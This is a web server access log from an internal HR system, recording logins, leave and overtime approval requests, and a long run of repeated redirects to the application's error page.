192.168.11.178 - - [05/Sep/2025:13:05:44 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:45 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.178 - - [05/Sep/2025:13:05:45 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:45 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.178 - - [05/Sep/2025:13:05:45 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:45 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:45 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.178 - - [05/Sep/2025:13:05:45 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:45 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.178 - - [05/Sep/2025:13:05:45 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:45 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.178 - - [05/Sep/2025:13:05:46 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.178 - - [05/Sep/2025:13:05:46 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:46 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.178 - - [05/Sep/2025:13:05:46 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:46 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.178 - - [05/Sep/2025:13:05:46 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:46 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.178 - - [05/Sep/2025:13:05:46 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:46 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.178 - - [05/Sep/2025:13:05:46 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:47 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.11.178 - - [05/Sep/2025:13:05:47 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:50 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10351 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:50 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10351
192.168.11.178 - - [05/Sep/2025:13:05:53 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12107 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.178 - - [05/Sep/2025:13:05:53 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12107
192.168.11.178 - - [05/Sep/2025:13:05:57 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998
192.168.11.178 - - [05/Sep/2025:13:05:57 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998 "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [05/Sep/2025:13:06:40 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:13:06:40 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:13:06:47 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:13:06:47 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
192.168.40.44 - - [05/Sep/2025:13:12:40 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:12:40 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.44 - - [05/Sep/2025:13:12:43 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:12:43 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:12:43 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.40.44 - - [05/Sep/2025:13:12:43 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:12:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10399 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:12:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10399
192.168.40.44 - - [05/Sep/2025:13:12:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 92916 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:12:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 92916
192.168.40.44 - - [05/Sep/2025:13:13:00 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:13:00 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:13:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131085%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131085&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:13:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131085%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131085&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:13:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:13:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:13:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:13:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:13:13:02 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:13:13:02 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:13:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:13:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:13:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:13:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:13:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:13:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:13:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:13:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [05/Sep/2025:13:13:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [05/Sep/2025:13:13:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
